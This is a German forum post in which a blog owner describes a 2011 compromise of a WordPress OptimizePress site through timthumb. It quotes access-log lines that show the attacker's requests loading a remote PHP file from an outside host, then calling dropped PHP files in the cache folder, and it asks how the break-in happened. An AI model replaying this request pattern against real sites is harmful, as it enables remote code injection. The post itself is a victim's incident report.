timthumb hack auf optimize press cache

1 Blog hats am Freitag erwischt:

Zitat

72.10.34.151 - - [25/Nov/2011:23:33:17 +0100] "GET ///wp-content/themes/OptimizePress/timthumb.php?src=http://blogger.com.relativoaonada.co.cc/sality2.php HTTP/1.1" 400 258 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox"
72.10.34.151 - - [25/Nov/2011:23:33:18 +0100] "GET ///wp-content/themes/OptimizePress/thumb.php?src=http://blogger.com.relativoaonada.co.cc/sality2.php HTTP/1.1" 301 - "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox"
72.10.34.151 - - [25/Nov/2011:23:33:18 +0100] "GET /wp-content/themes/OptimizePress/thumb.php?src=http://blogger.com.relativoaonada.co.cc/sality2.php HTTP/1.1" 404 6676 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox"
72.10.34.151 - - [25/Nov/2011:23:33:20 +0100] "GET //wp-content/themes/OptimizePress//cache/34e3a3a74f6e2d0f236bdd3ba70c0c03.php HTTP/1.1" 200 38437 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox"
72.10.34.151 - - [25/Nov/2011:23:33:22 +0100] "GET //wp-content/themes/OptimizePress//cache/external_34e3a3a74f6e2d0f236bdd3ba70c0c03.php HTTP/1.1" 301 - "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox"
72.10.34.151 - - [25/Nov/2011:23:33:24 +0100] "GET /wp-content/themes/OptimizePress/cache/external_34e3a3a74f6e2d0f236bdd3ba70c0c03.php HTTP/1.1" 404 6648 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox"

Weiss jemand näheres, wie das möglich ist?

Es wurden zahlreiche php files abgelegt im optimize press cache ordner. Und eine version.php und config.inc.phpmanipuliert.

Blog ist vom Netz vorerst. Wird wieder aufgebaut.

Wie könnten die rein gekommen sein?

so, danke. ich gehe weinen

http://www.warriorforum.com/main-internet-…lease-read.html